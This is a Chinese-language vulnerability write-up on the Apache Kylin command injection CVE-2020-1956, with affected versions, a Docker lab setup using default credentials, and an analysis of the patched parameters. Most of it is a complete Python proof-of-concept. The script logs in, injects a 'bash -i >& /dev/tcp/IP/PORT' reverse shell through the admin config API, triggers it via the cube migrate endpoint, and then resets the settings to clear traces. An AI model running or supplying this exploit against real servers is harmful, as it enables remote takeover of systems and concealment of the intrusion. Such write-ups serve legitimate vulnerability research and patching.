Apache Kylin 命令注入漏洞 CVE-2020-1956
漏洞描述
2020年5月22日，CNVD 通报了 Apache Kylin 存在命令注入漏洞 CVE-2020-1956，地址在 http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202005-1133 。
Apache Kylin 是美国 Apache 软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供 Hadoop/Spark 之上的 SQL 查询接口及多维分析（OLAP**）等功能。
影响版本
Apache Kylin 2.3.0 ~ 2.3.2
Apache Kylin 2.4.0 ~ 2.4.1
Apache Kylin 2.5.0 ~ 2.5.2
Apache Kylin 2.6.0 ~ 2.6.5
Apache Kylin 3.0.0-alpha, Apache Kylin 3.0.0-alpha2, Apache Kylin 3.0.0-beta, Apache Kylin 3.0.0, Kylin 3.0.1
环境搭建
这里使用 docker 来搭建需要的环境
docker pull apachekylin/apache-kylin-standalone:3.0.1如果服务器内存较小，可不选择 -m 8G 参数
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1打开后使用默认账号密码admin/KYLIN登录，出现初始界面即为成功
漏洞分析
查看这个漏洞修复的补丁
由此可以得出我们可以通过这两个可控的参数，执行任意我们需要的命令，例如反弹一个shell，设置的配置为
kylin.tool.auto-migrate-cube.enabled=true
kylin.tool.auto-migrate-cube.src-config=echo;bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1
kylin.tool.auto-migrate-cube.dest-config=shell
再去发送POST请求 /kylin/api/cubes/kylin_sales_cube/learn_kylin/migrate
成功反弹一个shell
漏洞利用POC
POC利用前提是拥有账号密码，默认账号密码是 admin/KYLIN
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import requests
import base64
import sys
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: Apache Kylin <= 3.0.1 \033[0m')
print('+ \033[36m使用格式: python3 CVE-2020-1956 \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:7070 \033[0m')
print('+ \033[36mLogin >>> admin:KYLIN(格式为User:Pass) \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
login_url = target_url + "/kylin/api/user/authentication"
user_pass = str(input("\033[35mPlease input User and Pass\nLogin >>> \033[0m"))
Authorization = "Basic " + str((base64.b64encode(user_pass.encode('utf-8'))),'utf-8')
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Authorization": Authorization,
"Cookie": "project=null"
}
try:
response = requests.post(url=login_url, headers=headers, timeout=20)
if "password" not in response.text:
print("\033[31m[x] 账号密码出现错误 \033[0m")
sys.exit(0)
else:
print("\033[32m[o] 成功登录，获得JSESSIONID：" + response.cookies["JSESSIONID"] + "\033[0m")
return response.cookies["JSESSIONID"],Authorization
except:
print("\033[31m[x] 漏洞利用失败\033[0m")
sys.exit(0)
def POC_2(target_url, cookie, IP, PORT, Authorization):
config_url = target_url + "/kylin/api/admin/config"
key = ["kylin.tool.auto-migrate-cube.enabled","kylin.tool.auto-migrate-cube.src-config","kylin.tool.auto-migrate-cube.dest-config"]
value = ["true","echo;bash -i >& /dev/tcp/{}/{} 0>&1;echo".format(IP, PORT), "shell"]
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Authorization": Authorization,
"Accept": "application/json, text/plain, */*",
"Content-Type": "application/json;charset=UTF-8",
"Pragma": "no-cache",
"Cookie": "project=null;JSESSIONID="+cookie
}
for i in range(0,3):
data = """{"key":"%s","value":"%s"}""" % (key[i], value[i])
try:
response = requests.put(url=config_url, headers=headers, data=data, timeout=20)
if response.status_code == 200:
print("\033[32m[o] 成功将" + key[i] +"设置为" + value[i] +"\033[0m")
else:
print("\033[31m[x] 设置" + key[i] +"为" + value[i] +"失败\033[0m")
sys.exit(0)
except:
print("\033[31m[x] 漏洞利用失败 \033[0m")
sys.exit(0)
def POC_3(target_url, cookie):
print("\033[35m[o] 正在反弹shell......\033[0m")
vuln_url = target_url + "/kylin/api/cubes/kylin_sales_cube/learn_kylin/migrate"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Cookie": "project=null;JSESSIONID=" + cookie
}
try:
response = requests.post(url=vuln_url, headers=headers)
POC_4(target_url, cookie)
except:
print("\033[31m[x] 漏洞利用失败 \033[0m")
sys.exit(0)
def POC_4(target_url, cookie):
config_url = target_url + "/kylin/api/admin/config"
key = ["kylin.tool.auto-migrate-cube.enabled", "kylin.tool.auto-migrate-cube.src-config",
"kylin.tool.auto-migrate-cube.dest-config"]
value = ["flase", "echo;echo;echo", "None"]
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Authorization": Authorization,
"Accept": "application/json, text/plain, */*",
"Content-Type": "application/json;charset=UTF-8",
"Pragma": "no-cache",
"Cookie": "project=null;JSESSIONID=" + cookie
}
for i in range(0,3):
data = """{"key":"%s","value":"%s"}""" % (key[i], value[i])
try:
response = requests.put(url=config_url, headers=headers, data=data, timeout=20)
if response.status_code == 200:
print("\033[32m[o] 成功将" + key[i] +"设置为" + value[i] +"\033[0m")
else:
print("\033[31m[x] 设置" + key[i] +"为" + value[i] +"失败\033[0m")
sys.exit(0)
except:
print("\033[31m[x] 漏洞利用失败 \033[0m")
sys.exit(0)
print("\033[35m[o] 成功清理痕迹\033[0m")
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
try:
cookie,Authorization = POC_1(target_url)
except:
print("\033[31m[x] 漏洞利用失败 \033[0m")
sys.exit(0)
IP = str(input("\033[35m请输入监听IP >>> \033[0m"))
PORT = str(input("\033[35m请输入监听PORT >>> \033[0m"))
POC_2(target_url, cookie, IP, PORT, Authorization)
POC_3(target_url, cookie)参考文章
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